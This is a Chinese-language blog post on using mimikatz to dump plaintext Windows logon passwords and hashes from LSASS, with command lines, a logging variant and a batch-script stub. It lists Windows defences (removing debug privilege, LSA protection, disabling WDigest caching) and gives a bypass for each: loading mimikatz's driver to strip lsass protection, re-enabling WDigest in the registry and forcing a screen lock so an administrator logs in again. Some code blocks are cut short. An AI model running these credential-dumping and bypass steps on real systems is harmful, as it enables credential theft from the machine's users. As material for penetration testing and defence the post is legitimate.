mimikatz基本使用
下载:Mimikatz
注意:mimikatz需要以管理员权限运行
1、交互模式抓取明文密码
1 | privilege::debug |
2、更方便的mimikatz命令
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" |
3、输出日志
执行以下命令除了回显,还可以dump结果并将hash保存为log日志文件:
1 | mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit |
3、bat脚本
1 | @echo off |
防护机制
Windows中存在一些安全策略或机制来防止像mimikatz 或WCE等工具直接抓取明文密码。
移除DEBUG权限
调试权限是一种安全策略设置,允许用户将调试器附加到进程或内核。绝大数抓取密码工具都需要获取调试权限,该权限可以在用户权限分配组策略在看到。默认情况下,管理员帐户具有此权限。如果移除了debug权限,则此类工具则会工作异常。
在没有debug权限的情况下:
LSA保护
LSA包含本地安全性授权子系统服务 (LSASS) 进程,可验证用户的本地和远程登录。 微软从Windows 8.1 和Windows Server 2012开始为LSA提供附加保护,LSASS可以配置为在保护模式下运行,受保护的进程必须满足一些条件才能访问lsass.exe进程,主要通过签名验证,从而避免了相关工具抓取密码。
开启保护的方法是配置方法为修改注册表项RunAsPPL,将键值设置为"dword:00000001
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL |
在开启LSA保护的情况下,此时无法从LSASS进程中转储凭据,报错示例:
1 | mimikatz # sekurlsa::msv |
绕过方法是删除lsass进程上的保护:
1 | mimikatz# !+ |
禁止Wdigest Auth缓存明文密码
Microsoft发布了一个补丁KB2871997,安装此补丁后,允许用户在注册表中配置一个设置(高版本已默认配置)禁用 WDigest 身份验证,从而防止将明文密码存储在内存中。此时mimikatz用抓取时密码字段会显示为null,如下:
1 | SID : S-1-5-21-1611409294-1731084229-990987755-1000 |
绕过方法是开启WDigest身份验证,使用户重新登录,从而是内存中重新存储明文密码。修改注册表键值(也可以使用其他相关工具):
1 | # reg |
在开启 Wdigest Auth 后,需要重启或者强制锁屏,让管理员重新登录。锁屏命令:
1 | rundll32 user32.dll,LockWorkStation |
其他会缓存密码的情况:
- 当域控制器 (DC) 不可访问时,Kerberos 将保留密码以供将来登录尝试。
- 当
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest,UseLogonCredential (DWORD)
设置为1 时,WDigest 将保留凭据。 - 当
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults
设置为allow 时,凭据安全支持提供程序 (CredSSP) 将保留凭据 - 当
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation
设置为allow 时,CredSSP/tspkgs 将保留凭据。
参考
- Post title:mimikatz抓取明文密码
- Post author:ssooking
- Create time:2020-07-17 16:01:00
- Post link:https://ssooking.github.io/2020/07/mimikatz抓取明文密码/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.